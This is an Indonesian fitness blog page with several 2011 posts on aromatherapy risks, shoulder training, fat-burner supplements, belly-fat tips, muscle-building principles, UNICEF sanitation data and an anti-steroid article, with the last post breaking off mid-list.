Aromaterapi telah digunakan selama berabad-abad untuk memberikan efek relaksasi. Terlepas manfaatnya bagi tubuh, penggunaan aromaterapi ternyata menyimpan efek buruk yang dapat membahayakan kesehatan.

Penelitian di Fakultas Ilmu Farmasai, Universitas Chia-Nan, Taiwan, menyebut bahwa penggunaan aroma terapi cenderung lebih banyak bahayanya dibandingkan efek positifnya. Ekstrak aroma yang biasa dilarutkan dalam bak mandi, minyak pijat, atau diruapkan dengan panas tersebut akan bereaksi dengan udara memproduksi partikel pemicu iritasi.

Bahkan, ketika zat yang juga dikenal sebagai minyak esensial itu yang digunakan untuk material pijat di spa, konsentrasi partikel berbahaya itu dapat meningkat 10 kali lipat.
Menurut para peneliti, aroma terapi mengandung zat kimia tertentu berupa senyawa organik yang mudah menguap. Senyawa inilah yang akan bercampur dengan udara membentuk aerosol organik sekunder. Yakni partikel sangat kecil yang dapat mengiritasi mata, hidung dan tenggorokan. Dalam konsentrasi tertentu, dapat menyebabkan sakit kepala, mual, bahkan kerusakan pada hati dan ginjal.

Penelitian dilakukan dengan mengukur besar dan jumlah partikel-partikel yang dilepaskan ketika seseorang melakukan pijat aromaterapi di tempat spa. Hasilnya serupa dengan penelitian sebelumnya saat seseorang membakar aromaterapi di rumah dan kantor, meski level pelepasan partikelnya tak sama.

Peneliti memeringatkan bahwa efek buruk itu tak boleh diabaikan. Mereka menyebut minyak lavender, batang teh, peppermint, lemon, dan eucalyptus, sebagai minyak esensial yang menghasilkan partikel paling berbahaya.

"Kami sudah membandingkan level partikel berbahaya dari sejumlah aromaterapi dan minyak herbal. Kesimpulannya bahwa tata letak dan ventilasi di ruang spa juga memengaruhi kadar polutan di dalam ruangan selama pemijatan dengan aromaterapi," kata peneliti, seperti dikutip dari Daily Mail.

Meski ada bukti ilmiah yang membuktikan efek aromaterapi untuk meredakan sakit dan meningkatkan kekebalan tubuh, namun ada pendapat yang menyebut aromaterapi memiliki efek plasebo yang membuat seseorang tersugesti merasa relaks setelah menciup uap aromaterapi.
(Sumber: Vivanews)

Latihan untuk Otot Bahu

2011-11-02T00:51:00.000-07:00

Berikut ini adalah penjelasan tentang metode latihan bahu yang dilakukan oleh Ade Rai

Bahu menciptakan gambaran fisik secara ilusi. Setiap binaragawan, atlet atau pencinta binaraga yang memiliki otot bahu yang terbentuk, terlatih dengan baik akan selalu mempunyai keuntungan baik dalam pertandingan di mana ia akan memiliki nilai tinggi dalam penilaian simetri tubuh atau bagi para pencinta binaraga, akan memberi kesan gagah, dan “macho”.

Otot bahu secara anatomis terbagi menjadi dua bagian besar yaitu :
Deltoid :
Otot bahu, depan dan belakang yang membulat

Trapezius :
Otot pundak yang memanjang mulai dari leher bagian belakang sampai ke punggung tengah.

Latihan untuk otot bahu pada prinsipnya dibagi menjadi dua latihan yaitu latihan dengan gerakan raises dan presses. Latihan dengan gerakan raises adalah jenis latihan yang dapat dilakukan dengan menggunakan dumbell, barbell, maupun cable. Gerakan diawali dengan posisi tangan lurus kebawah kemudian angkat beban dengan posisi tangan tetap lurus sampai sejajar dengan otot bahu. Latihan raises merupakan jenis latihan yang terisolasi pada otot bahu. Jadi gerakan yang bena adalah jika dalam melakukan latihan tekanan yang didapat secara total diterima oleh otot bahu. Gerakan yang kurang telap dapat mengurangi tekanan yang diterima otot bahu sehingga latihan kurang optimal.

Latihan dengan gerakan presses dapat dilakukan dengan menggunakan barbell, dumbell dan mesin. Gerakan dimulai dengan posisi siku bengkok dan posisi beban sejajar bahu, kemudian angkat beban ke atas sampai posisi tangan lurus. Jenis latihan presses selain memberi tekanan utama pada otot bahu juga memberi tekanan pada otot triceps.

Sedangkan untuk otot trapezius latihan yang sering saya gunakan adalah shrugs. Perkembangan otot trapezius akan sangat membantu penampilan otot bahu. Namun perkembangannya harus seimbang dan proporsional. Jangan sampai perkembangan otot trapezius melebihi otot bahu sehingga bukannya membantu penampilan otot bahu tapi malah membuat otot bahu terlihat kecil.

Latihan bahu seperti shoulder pressing penting untuk atlet dalam olahraga beban untuk memperkuat, memperlebar, memperindah bahu. Sangat berguna untuk menyokong latihan lain yang banyak melibatkan aktivitas otot-otot bahu.

Gerakan sendi bahu sangat penting dalam olahraga lain yang membutuhkan gerakan tangan ke samping dan ke atas. Gerakan ini terjadi dalam olahraga senam (gymnastics), tinju (boxing), beladiri yang membutuhkan gerakan pukulan, menyelam (diving), bola basket, bola voli, dan olahraga yang menggunakan raket. Ekstensi siku atau mengangkat sendi siku, yang sangat membutuhkan kekuatan otot bahu, adalah gerakan penting dalam melakukan eksekusi dari banyak ketrampilan untuk cabang olah raga lain. Termasuk servis dan smes dalam olahraga tenis, menembak dalam olahraga basket, melepaskan pukulan cepat dalam olahraga tinju dan beladiri.

Latihan bahu juga sangat membantu kaum wanita untuk memperbaiki postur tubuhnya terutama yang memiliki struktur seperti buah pir yaitu bahu sempit dan pinggul lebar. Dengan berlatih bahu secara baik dan optimal, proporsi tubuh diharapkan dapat membaik. Hanya perlu dicatat bahwa sebaiknya kaum wanita tidak perlu melatih otot trapezius terlalu banyak. Hal ini justru akan mengurangi keindahan. Wanita membutuhkan penampilan leher jenjang sehingga terlihat feminim

Barbell / Dumbell Press

Tujuannya adalah melatih otot bahu terutama deltoid bagian depan dan samping. Latihan ini dapat dilakukan baik dengan dumbell atau barbell dengan posisi duduk atau berdiri.

Keuntungan berlatih dengan barbell dalam posisi berdiri adalah beban yang diangkat dapat lebih berat dan membantu pertumbuhan area punggung tengah karena area ini dibutuhkan untuk mendukung gerakan barbell press. Posisi turun barbell dapat divariasikan antara jatuh di depan dada (military press) atau dibelakang leher (behind the neck)

Keuntungan berlatih dengan dumbell adalah tekanannya yang konstan pada kedua sisi samping deltoid.

Side Lateral

Latihan ini melatih sisi samping dari deltoid. Dapat dilakukan dengan dua cara yaitu satu lengan atau dua lengan bersamaan.

Posisi awal lengan adalah tergantung lurus ke bawah, kemudian beban diangkat ke samping dengan lengan tetap lurus. Beban diangkat sampai lengan berada dalam posisi sejajar dengan lantai.

Latihan dapat dilakukan baik dengan posisi duduk atau berdiri. Apabila ingin melakukan latihan dengan satu lengan (one Arm) maka salah satu lengan lain melakukan tumpuan dan lengan yang lain berlatih.

Alat alternatif untuk melakukan latihan ini adalah dengan dumbell atau dengan cable.

Rear Lateral

Dalam latihan ini pinggang ditekuk sehingga membentuk sudut sekitar 90 derajat. Kita dapat menggunakan cable atau dumbell dan mengangkat beban tersebut menjauhi tubuh kita sementara tubuh kita tetap tertekuk. Jangan melakukan gerakan mengayun badan, tetapi tetaplah rasakan tekanan yang konstan pada deltoid bagian belakang dengan cara menaikkan dan menurunkan beban denga n sesedikit mungkin momentum.

Arnold Press

Sebenarnya merupakan variasi dari gerakan dumbell press. Dumbell dipegang dengan telapak menggenggam dumbbel menghadap wajah. Sambil mendorong dumbell ke atas dilakukan putaran sehingga posisi telapak membelakangi wajah. Latihan ini sangat efektif dalam melatih otot bahu area samping dan depan dalam satu kali gerakan sehingga area yang tercakup cukup luas.

Dumbell / Barbell Shrug

Peganglah kedua dumbell pada kedua sisi badan dan angkatlah bahu setinggi mungkin. Anggaplah untuk berusaha menyentuhkan deltoid kita ke telinga. Jangan menggunakan beban terlalu berat sehingga menghambat gerakan yang penuh. Saat menurunkan bban tidak perlu di putar karena akan meningkatkan resiko cedera, dan turunkan beban dengan perlahan dan biarkan trapezius terenggang sempurna diantara repetisi-repetisi yang dijalankan. Pada barbell, posisi tangan dapat diletakkan di depan atau di belakang.

Fakta: Pembakar Lemak Tidak Benar-Benar Membakar Lemak!!!

2011-10-31T07:00:00.000-07:00

Produk suplemen pembakar lemak adalah salah satu suplemen yang laris di pasaran. Banyak orang yang ingin menurunkan berat badan dengan cepat mengkonsumsi suplemen ini. Namun, tahukah anda bahwa suplemen ini tidak benar-benar membakar lemak di badan anda? Kalau memang tidak bisa membakar lemak dengan baik, untuk apa kita mengkonsumsi suplemen ini?

Ada pemahaman yang salah tentang bagaimana fatburner bekerja. Orang beranggapan dengan mengkonsumsi suplemen pembakar lemak, maka lemak dalam tubuhnya akan dibakar. Jika ini benar, maka tidak akan ada banyak kasus kegemukan di dunia. Cukup dengan meminum fat burner, kita akan bisa langsing/lean. Kenyataanya tingkat obesitas semakin tinggi.
Tubuh manusia bukanlah robot yang dapat dengan mudah dimanipulasi sehingga dapat mengikuti keinginan kita. Termasuk saat kita mengkonsumsi fat burner, tubuh tidak akan secara otomatis membakar lemak di badan kita.
Ketika kita mengkonsumsi fat burner, suplemen tersebut akan meningkatkan pembakaran energi kita. Hal ini terjadi karena pada suplemen fat burner terkandung zat thermogenik yang akan meningkatkan suhu tubuh sehingga metabolisme kita berjalan lebih cepat. Energi yang mana yang dibakar? Itu tergantung aktivitas kita. Kalau lari dan latihan beban, maka yang dibakar adalah glukosa, kalau jalan cepat yang dominan dibakar adalah lemak. Kalau anda tidak beraktivitas secara aktif, maka mengkonsumsi fat burner tidak akan memberi manfaat.
Jadi, fat burner tidak secara langsung membakar lemak anda. Suplemen ini hanya berfungsi meningkatkan proses pembakaran di badan anda. Fat burner hanya berfungsi sebagai kompor tempat membakar energi, energi yang mana yang terbakar? Jawabannya ada di tangan anda.

Tips Menjaga Bentuk Perut Bagi Wanita

2011-10-11T04:16:00.000-07:00

Sering berolahraga tetapi perut tetap berlemak? Sebelum anda menyerah dan membuang semua jeans hipster anda, mungkin ada baiknya jika anda mengerti bahwa ada tiga faktor yang terlibat dalam proses mendapatkan perut yang rata. Pertama adalah latihan, kemudian diet anda, dan yang terakhir adalah tingkat stress dalam hidup anda.

Latihan-latihan yang anda lakukan memang penting, baik jenis maupun frekuensinya. Walaupun demikian, apa yang anda makan (dan juga gaya hidup anda) tidaklah kalah penting. Stress, walaupun sering terdengar tidak penting, ternyata dapat menambah timbunan lemak di perut anda! Demikian juga makanan yang anda makan.

Bagi anda yang mendambakan perut rata, ada setidaknya 6 tips yang perlu anda ketahui:

1. Konsumsi Serat

Pada dasarnya, serat adalah bagian dari sayuran, buah-buahan dan biji-bijian yang tidak dapat dicerna oleh usus kita. Tips terbaik dalam menambahkan serat dalam diet anda adalah menambahkannya secara bertahap selama sebulan untuk mencegah terbentuknya gas di perut anda. Jangan lupa minum banyak air putih untuk mempercepat pergerakan serat dalam saluran pencernaan kita.

2. Jagalah Konsumsi Karbohidrat Anda

Rata-rata seorang wanita membutuhkan 1.800 kalori diet per hari, maka karbohidrat total yang anda makan harus berjumlah antara 202-292 gram. Jangan mengkonsumsi kurang dari 45% atau lebih dari 65% karbohidrat dari total kalori diet, karena anda akan mengalami kembung sehingga perut anda akan terlihat lebih besar. Tips yang dapat anda terapkan adalah dengan tidak makan fast food dan makanan kecil seperti kue-kue dan permen serta memperbanyak makan sayur dan buah-buahan serta serat.

3. Minumlah Air Putih

Ada anggapan bahwa minum air putih banyak-banyak akan membuat perut anda menjadi kembung. Sebenarnya, menurut Jeff Hampl, Ph.D., R.D. periset nutrisi dari Arizona State University, minum air putih yang banyak akan membantu untuk menggelontor kelebihan sodium dari dalam badan. Sodium inilah yang menyebabkan kembung.

4. Awasi Konsumsi Sodium Anda

Sodium dapat ditemukan pada garam, penyedap dan juga pengawet pada fast-food dan juga makanan restoran. Menurut National Academy of Science Amerika Serikat, seorang wanita rata-rata hanya membutuhkan 500 miligram sodium per harinya. Untuk menghindari kelebihan sodium, anda dapat memilih makan makanan segar dan minum air putih yang banyak.

5. Kurangi Stress

Stress memicu hormon kortisol yang akan menambah nafsu makan kita dan menimbun lemak di daerah perut. Untuk mengatasi akibat dari makan berlebihan, anda bisa coba untuk melakukan latihan kardiovaskular. Latihan ini terbukti sangat efektif untuk mengurangi lemak di bagian perut.

(via: dunia binaraga)

Prinsip Latihan dalam Memaksimalkan Massa Otot

2011-10-10T23:32:00.000-07:00

Banyak penggiat fitness pemula yang bingung dalam memilih latihan yang tepat untuk memaksimalkan pertumbuhan otot mereka. Akibatnya, latihan yang dilakukan cenderung asal-asalan dan tidak memiliki arah yang jelas. Berikut saya sajikan tips dalam memaksimalkan perkembangan otot.

Latihan dengan gerakan Compound, latihan ini adalah latihan yang melibatkan lebih dari satu persendian dalam sekali latihan. Hal yang berlawanan adalah gerakan isolasi, dimana hanya otot tertentu yang dilatih pada sekali latihan. Latihan compound adalah latihan yang sangat baik untuk meningkatkan massa otot anda.Alasan yang pertama, latihan berat memungkinkan otot untuk tumbuh lebih besar, latihan ini juga memungkinkan otot yang bekerja lebih banyak. Alasan kedua, semakin berat beban latihan Anda, semakin banyak pula dikeluarkan hormon yang berperan penting dalam pembentukan otot Anda. Gerakan yang melibatkan banyak sendi juga lebih bermanfaat bagi performa atletik Anda. Yang termasuk latihan ini adalah benchpress, lat pulldown, squat, deadlift dll
Jangan hanya berfokus pada berat beban yang bisa anda angkat. Yang benar untuk meningkatkan massa otot secara maksimum adalah dengan melakukan gerakan yang benar disertai dengan berat beban maksimal yang bisa anda angkat. Berat beban yang berlebih akan memaksa kita untuk melakukan cheating, yang tentu saja akan berimbas pada terjadinya cedera. Contoh cheating adalah seperti gambar berikut:
Lakukan Squat dan Deadlift. Dari semua jenis latihan, deadlifts memungkinkan Anda untuk mengangkat beban jauh lebih berat. Karena beban yang diangkat lebih berat maka akan merangsang lebih banyak otot yang dirusak, dan pada akhirnya terjadi pertumbuhan otot yang lebih besar.
Fokuslah pada 6-8 repetisi dengan beban maksimum untuk tiap set. Hal ini akan memacu perkembangan kekuatan dan juga hipertropy otot
Aturlah waktu istirahat. Otot kita berkembang bukan pada saat kita latihan. Yang terjadi pada saat latihan adalah proses katabolik, atau perusakan sel otot. Saat istirahat adalah fase anabolic, dimana otot membangun sel baru yang lebih kuat dan lebih besar

Indonesia Sekali Lagi Membuat Prestasi Tingkat Internasional !

2011-10-04T00:30:00.000-07:00

Tadi baru aja mulai ngaskus, udah dapet thread yang seru kayak gini. Indonesia ternyata kembali mengukir prestasi di kancah internasional. Tidak tanggung-tanggung, Indonesia menempati urutan kedua di dunia!

UNICEF, badan Perserikatan Bangsa-bangsa untuk perlindungan anak, melansir hasil survei yang menemukan Indonesia bersama India dan China adalah juara-juara dunia untuk buang air besar (BAB) di tempat terbuka. Indonesia bersama China berada di posisi dua dunia untuk BAB di alam terbuka.

Nomor satu adalah India. UNICEF melansir, 58 persen dari populasi dunia yang BAB di alam terbuka berada di India. Kemudian China dan Indonesia masing-masing memiliki 5 persen dari populasi yang BAB di alam terbuka. Pakistan di posisi tiga bersama Ethiopia, masing-masing 4,5 persen. Total, menurut data UNICEF/WHO pada 2010, 1,1 miliar orang di dunia yang BAB di alam terbuka.

Menteri Pembangunan Pedesaan India Jairam Ramesh, menyatakan data ini memalukan negerinya. "Kami harus membuat sanitasi sebagai sebuah kampanye politik seperti yang telah dilakukan Gandhi," katanya dilansir The Times of India.

Kampanye politik untuk memberantas BAB di alam terbuka ini pun dilansir India pada 2 Oktober, hari kelahiran Mahatma Gandhi, bapak Bangsa India.

Besarnya persentase yang BAB di alam terbuka ini didorong oleh besarnya populasi India. Indonesia, yang hanya menyumbang 5 persen orang BAB di alam terbuka sedunia, secara nasional angka itu mencapai 26 persen populasi penduduk. Ethiopia lebih besar lagi, mencapai 60 persen penduduknya.

Berikut data WHO/ UNICEF soal BAB di alam terbuka:

- BAB di alam terbuka terus menurun. Angkanya menyusut dari 25 persen populasi dunia di tahun 1990 ke 17 persen di 2008;

- Tahun 2010, 1,1 miliar orang masih BAB di alam terbuka. Tujuh negara yakni India, Indonesia, China, Ethiopia, Pakistan, Nigeria, Sudan, Nepal, Brazil, Niger dan Bangladesh menjadi rumah dari 81 persen yang BAB di alam terbuka itu.

Ini Komentar Ade Rai Tentang Steroid

2011-10-02T06:56:00.000-07:00

Pemakaian drugs / obat-obat doping dalam fitness dan binaraga semakin marak. Artikel ini bukan untuk mengutuk tindakan tersebut. Tetapi artikel ini dibuat untuk memberikan reportase FAKTA tentang apa yang selama ini sudah terjadi di lapangan, dan edukasi ilmiah tentang konsekuensi nyata yang harus dihadapi apabila menggunakan obat-obat doping tersebut.
Drug-dealers kerap menampilkan argumen-argumen dalam tulisan tebal di bawah. Mohon diingat bahwa ulasan dalam artikel ini memuat fakta-fakta yang tidak ingin mereka beberkan karena motif yang kita sama-sama ketahui.

1. “Yang sakit dari pakai steroids sedikit banget! Itupun karena mereka bego memakai steroids tidak sesuai aturan. Kalau sesuai aturan pasti ga akan kenapa-napa.”
Ironi 1: Pemakaian steroids sendiri sudah merupakan pelanggaran aturan. Karena secara fisiologi, tubuh manusia terutama di usia muda dengan kadar hormon yang masih optimal, TIDAK MEMBUTUHKAN steroids sama sekali. Selain itu, dalam ajang kompetisi olahraga, pemakaian steroids juga melanggar peraturan.
Ironi 2: Penentuan apakah seseorang perlu mendapatkan steroids secara legal, adalah melalui prosedur diagnosa oleh dokter spesialis hormon (endokrinologis) melalui cek darah yang menyeluruh. Dan apabila terjadi kekurangan dari normal (yang biasasnya adalah pasien di atas 45 tahun), dokter akan menentukan dosis steroids yang sesuai untuk membawa ke level normal.
Dosis yang diberikan dokter tergantung seberapa jauh level hasil tes dari level normal. Prosedur / aturan medis seperti ini dapat dipastikan tidak pernah dijalankan oleh drug-dealers dari proses perkenalan sampai proses transaksi terjadi. Di samping itu, dosis yang diberikan dari satu konsumen ke konsumen lain umumnya adalah sama…yaitu minimal 5-10 x di atas dosis yang diberikan dokter, pada pemakai yang kadar hormonnya sedang optimal.
Ironi 3: “Aturan” yang diberikan oleh drug-dealers adalah untuk menggunakan lebih banyak ragam obat lagi. Secara fisiologi, peningkatan 1 jenis hormon akan memicu serangkaian respons di dalam sistem hormonal tubuh. Seperti 1 gerbong kereta api yang keluar jalur, maka akan mempengaruhi gerbong lainnya.
Untuk “mengatur” atau lebih tepatnya memaksa gerbong-gerbong (hormon-hormon) lain untuk tidak keluar jalur, maka diperlukan beragam obat lain untuk mengendalikannya. Contoh, tubuh menjaga rasio yang seimbang antara hormon testosteron (hormon pria) dan hormon estrogen (hormon wanita) pada tubuh setiap orang.
Masuknya steroids yang notabene adalah testosteron buatan, mengisyaratkan tubuh bahwa rasio keseimbangan hormon tersebut sudah terganggu (karena hormon testosteron meningkat drastis), sehingga memicu tubuh untuk meningkatkan produksi hormon estrogen untuk menjaga rasio seimbang tersebut.
Berhubung estrogen adalah hormon wanita yang tidak diinginkan dalam proses pertumbuhan otot (selain memunculkan dampak samping pembesaran kelenjar payudara pada pria), maka logikanya adalah estrogen perlu ditekan / kendalikan dengan 2 upaya, yaitu: menggunakan obat yang menekan produksi / konversi estrogen (anti-aromatase), dan menggunakan obat lain untuk melemahkan aktivitas / sinyal estrogen yang sudah ada (estrogen blocker). Di mana obat-obat tersebut adalah obat untuk wanita penderita kanker payudara, kini dipakai oleh pria muda sehat jasmani yang ingin menaikkan ototnya.
Ironi 4: Bahwa steroids bersifat racun bagi tubuh. Ada teori yang mengatakan steroids dalam bentuk tablet lebih beracun daripada steroids dalam bentuk suntikan. Mengingat suntikan memerlukan tehnik / ahli khusus (dokter), maka selain berupaya mencari dokter yang mau menyuntikkan (yang berarti melibatkan dokter tersebut dalam malpraktek), juga berusaha mempelajari tehnik suntikan sendiri. Pun setelah semua itu bisa dilakukan, steroids dalam bentuk suntikan harganya jauh lebih mahal daripada steroids dalam bentuk tablet.
Atlet binaraga yang biasanya memiliki budget terbatas akan cenderung memilih menggunakan tablet karena harganya yang lebih murah. Jadi ditambahkanlah “aturan” baru lagi yaitu:

PCT (Post cycle therapy) penghentian pemakaian untuk “menormalkan” kembali sistem endokrin (produksi hormon) dalam tubuh, dengan serangkaian obat yang berbeda.
Penggunaan suplemen, herbal / jamu untuk menjaga organ hati (liver) yang terkena dampak paling keras dari racun-racun dosis tinggi tersebut.

Ironi 5: 80% steroids yang diedarkan dengan cara seperti ini adalah steroids black market, yang meskipun adalah steroids, tetapi:

Diproduksi dalam industri rumahan, tidak mengikuti ATURAN produksi obat berstandar GMP (good manufacturing practices) pabrik obat.
Jadi intinya, dari kadar steril (hygiene) hingga standarisasi kandungan per butir / mililiter sangat dipertanyakan.
Merupakan versi palsu dari aslinya. Teknologi pemalsuan juga sudah melibatkan peniruan label stiker, kotak kemasan, bentuk botol, hingga ke hologram yang identik dengan aslinya. Sehingga sulit sekali untuk membedakan mana yang asli dan yang palsu.

2. “Umur 25-30 tahun hormon kita juga sudah turun.”
Menggunakan klaim para dokter anti-aging, bahwa hormon kita mulai turun di usia 25-30 tahun (yang kebetulan adalah kelompok target market terbesar dari penggunaan steroids), maka adalah wajar menggunakan steroids. Klaim dokter anti-aging tersebut adalah berdasarkan studi terhadap orang-orang yang sedenter (tidak berolahraga / mengatur pola makan).
Ironinya: Member fitness center yang dirayu para drug-dealers ini adalah orang-orang yang minimal berolahraga teratur, sehingga tidak masuk dalam kategori studi di atas. Lagipula lebih banyak studi yang mendukung fakta bahwa selama kita berolahraga dan memiliki pola makan baik yang teratur, maka kondisi hormonal kita tidak akan mengalami penurunan yang signifikan, dan selama kita menjaga rutinitas berolahraga dan pola makan yang sehat, kadar hormon kita akan terus berada dalam rentang normal untuk puluhan tahun mendatang.
3. “Kalau mau natural, mau sampai kapan? Kamu percaya semua yang claim juara natural benar-benar natural?”
Tehnik menciptakan keraguan ini juga cukup berhasil, dan menjadi salah satu rayuan dengan tingkat keberhasilan yang tertinggi. Ditambahkan dengan beberapa point penguat mereka:

“Yang mengkampanyekan agar atlet tidak menggunakan drugs adalah orang yang menggunakan drugs paling banyak. Ia tidak ingin dikalahkan oleh pendatang baru.”
“Saya tau stack (ragam obat) yang digunakan oleh si-ini dan si-itu yang mengaku natural. Bahkan selama ini dia / mereka sering beli dari saya.”
“Kalau mengaku natural mah gampang, karena drug-test bisa ditipu pakai tehnik tertentu. Itu yang namanya munafik, make tapi ga mau ngaku.”
“Lagian kita semua sudah dewasa, kita yang ambil keputusan masing-masing. Itu hak azasi kita, bukan orang lain yang nentuin kamu boleh pakai atau tidak. Saya cuma nawarin sudut pandang baru, jadi ga cuma dengar dari 1 pihak. Setelah dengar dari 2 sisi dan menimbang, kamu sendiri ambil keputusan.”
“Sekarang semua sudah pake. Kalau kamu ga pakai, lupain aja mau jadi juara. Jangan naif!”
“Di Amerika aja pemakaian steroids ga bisa dicegah dan ga bisa dihentikan! Jadi jangan sok hentikan pemakaian dan penyebaran steroids di Indonesia.”

Ironinya: Seluruh pernyataan ini mengarahkan obyek untuk terprovokasi mencoba. Tidak ada fakta yang ditampilkan di sini untuk mendukung apa yang mereka ucapkan. Padahal merupakan fakta bahwa nama-nama atlet drug-free yang dituduhkan seringkali ditunjuk dalam random drug-test di mana tidak mungkina ada persiapan apapun yang bisa dilakukan untuk menipu test tersebut, karena dipanggil mendadak pada hari itu atau didatangi oleh tim pengoleksi urine. Dan atlet-atlet drug-free tersebut selalu terbukti lulus tes.
Dan pada saat si obyek telah menjadi pelanggan setia, suatu hari nanti si obyek terkena masalah kesehatan, dealers tersebut mudah berkelit (cuci tangan) mengatakan “Kan dari dulu saya sudah bilang, kamu sendiri looo yang pilih untuk mau pakai dan sudah saya kasih tau konsekuensinya (padahal mungkin tidak pernah dikasih tau). Kalau mau pakai harus sesuai aturan.”
Dan saat seorang pelanggannya tewas (seperti yang terjadi pada salah satu juara binaraga yang langsung koma 9 hari dan tewas kurang dari 8 bulan yang lalu), maka dengan mudah disalahkan ke pelanggan itu sendiri dengan pernyataan-pernyataan (melalui thread di forum maupun diskusi langsung dengan keluarga saat atlet tersebut koma di UGD):

“Ooo….itu mungkin faktor keturunan.”
“Lagian dia habis tanding langsung makan kambing dan pesta miras. Matinya karena makan sate kambing dan pesta miras. Bukan karena drugs.”
“Dia memang 2 bulan yang lalu pernah kecelakaan di kepala, jatuh dari motor. Jadi itu mungkin penyebabnya.”

Mulailah dengan komunikasi diri yang lebih baik, bahwa kita memiliki mental “YES, I CAN” dengan cara drug-free. Bahwa hasil binaraga tubuh yang terlihat sehat kuat di luar, seyogyanya selaras sehat dan kuat juga di dalamnya, secara organ internal, maupun secara rohani dan tanggung-jawab moral.
Seorang sahabat yang baik tidak akan menawarkan obat doping kepada kita sebagai solusi meraih otot secara instant. Hindari perdebatan, dan kokohkan prinsip mengutamakan kesehatan daripada penampilan instant. Sebaliknya, ia akan peduli pada kebaikan kita dengan menasehati agar tidak mendekati obat doping tersebut.
“It is better to be hated for who you are than to be loved for who you are not.”
Stay strong, stay healthy, stay smart!

5 Kesalahan dalam Fitness Menurut Ade Rai

2011-10-01T18:16:00.000-07:00

Latihan tidak memberi efek dan kurang efektif? Beban angkatan tidak naik padahal sudah pakai suplemen? Atau berat beban sudah naik, tapi bentuk badan tidak berubah? Akhirnya tidak dapat hasil, bosan, dan berhenti? Kalau Anda mengalami hal ini, mungkin Anda telah melakukan salah satu dari empat kesalahan di sini. Dengan mengetahui dan kemudian memperbaikinya, pasti fitness menjadi aktifitas yang lebih menyenangkan dan menghasilkan untuk kita semua!

Latihan biasanya menjadi bagian yang paling menyenangkan bagi fitnesmania. Dengan banyaknya variasi program dan fasilitas latihan yang ditawarkan oleh masing-masing pusat kebugaran serta berkumpul dengan beberapa teman dalam suatu ritual olah fisik menciptakan pengalaman latihan yang selalu menyenangkan.

Namun ada kalanya juga latihan menjadi pengalaman yang tidak menyenangkan. Selama 1 tahun terakhir, berlatih disiplin 3-5 hari setiap minggu, menghabiskan waktu 2 jam per hari untuk latihan beban tetapi hasil yang diharapkan tak kunjung datang. Padahal beban angkatan sudah berat, dan konon angkatan berat diwajibkan untuk menghasilkan kerusakan otot maksimal agar otot bisa menebal secara maksimal pula.

Daripada muncul pikiran negatif seperti menyalahkan genetik atau menuding orang lain yang berhasil menggunakan jalur pintas, coba kita evaluasi apakah ada dari 5 kesalahan ini yang kita lakukan? Dan mungkin bisa kita perbaiki hingga akhirnya kita terlepas dari belenggu ketidakefektifan program dan masuk dalam jalur cepat membangun otot secara natural.

1. Kebanyakan tidur
Latihan beban secara mendasar adalah aktivitas anaerobik, yang berarti paling efektif apabila kita mengerahkan tenaga (power) besar dalam waktu yang relatif singkat. Semakin lama latihan beban kita lakukan, semakin rendah tenaga yang kita kerahkan, sehingga semakin rendah tingkat efektifitasnya.

Banyak fitnesmania yang berlatih terlalu lama, menganggap setiap jenis latihan harus dilakukan dengan jumlah set yang banyak. Pendapat ini lumrah muncul karena mengikuti logika “lebih banyak berarti lebih baik” (more is better). Dalam latihan untuk meningkatkan massa otot, falsafah “better is better” adalah lebih tepat.

Langkah Untuk Memperbaiki: Segera potong waktu latihan Anda. Berikan jatah set inti terberat sebanyak 6-9 set untuk otot kecil, dan 9-12 set untuk otot besar – tanpa menghitung pemanasan. Atau acuan umumnya, 20-30 menit untuk otot kecil, 30-45 menit untuk otot besar – sudah termasuk pemanasan dan jeda antar set.

2. Waktu Latihan Terlalu Singkat
Keterbatasan waktu biasanya menjadi penyebab seorang fitnesmania untuk berlatih dengan tempo yang lebih cepat. Dan biasanya ritme latihan yang lebih cepat ini diwujudkan dalam bentuk latihan yang kurang efektif seperti: tempo repetisi yang lebih cepat dengan memanfaatkan momentum atau pantulan. Latihan dengan momentum ini berpotensi menyebabkan cedera dan trauma pada jaringan otot, jaringan pengikat (tendon), maupun persendian (ligamen). Hal ini kemudian diperparah oleh istirahat antar set yang terlalu singkat, sehingga energi belum pulih benar, di mana set berikutnya dilakukan dalam kondisi yang kurang kondusif untuk bisa fokus, mengakibatkan tehnik gerakan yang kurang benar.
Tehnik istirahat antar set yang singkat memang sering dipakai oleh fitnesmania untuk mencapai dan menjaga pacu jantung yang lebih tinggi, lebih cepat. Namun hal ini memiliki beberapa konsekuensi, antara lain:

Kita tidak bisa menggunakan beban yang sama beratnya dengan set inti sebelumnya karena sistem pemulihan sementara kita masih belum optimal, sehingga cenderung menimbulkan risiko cedera latihan yang lebih tinggi.
Konsentrasi latihan akan mudah buyar karena ritme jantung dan nafas yang belum teratur.
Risiko lebih besar terjadinya eksekusi repetisi dengan tehnik gerakan yang salah.

Langkah Untuk Memperbaiki: Berlatihlah tempo repetisi yang baik. Mulailah dengan tempo 2 hitungan untuk gerakan positif dan 3-4 hitungan untuk gerakan negatif. Apabila memang tidak cukup waktu, persingkat saja sesi latihan dengan mengurangi jenis latihan atau jumlah set yang dijalankan. Hindari memantul dengan momentum dalam setiap repetisi, juga hindari istirahat antar set yang terlalu pendek (<60 detik) demi mengejar target kuantitas latihan.

3. Tehnik Latihan Yang Belum Tepat

Oke, point 1 dan 2 sudah berusaha dijalankan. Set inti yang lebih sedikit. Istirahat antar set yang lebih panjang. Beban yang berat dan menghindari momentum. Tetapi itu semua tidak ada artinya kalau tehnik latihan kita belum tepat.

Tehnik latihan yang tepat adalah lebih dari sekadar mengikuti pola gerak dari orang yang berbadan paling bagus di pusat kebugaran tempat kita berlatih. Inti yang ingin disampaikan di sini adalah: gerakan boleh terlihat sama, tetapi rasa di otot bisa berbeda. Di sinilah letaknya penguasaan mind-to-muscle connection, menggunakan fokus pikiran untuk membuat otot menyerap sebanyak mungkin beban yang kita berikan. Semua ini harus dilakukan dalam posisi, postur, dan penguncian beberapa bagian tubuh sehingga tercipta kenyamanan pada saat yang bersamaan.

Langkah Untuk Memperbaiki: Perbaiki tehnik latihan. Lebih penting merasakan otot yang bergerak sesuai jangkauan geraknya daripada memaksakan menggerakkan beban dari point A ke point B. Kalau perlu, berlatihlah dengan tempo repetisi sedikit lebih lambat, atau menambah jumlah repetisi, atau kedua-duanya. Sesuaikan posisi yang paling nyaman untuk melakukan gerakan, sambil membangun hubungan yang kuat antara perintah otak dan pergerakan patuh dari otot.

4. Tidak Mendengar Pada Pesan Tubuh

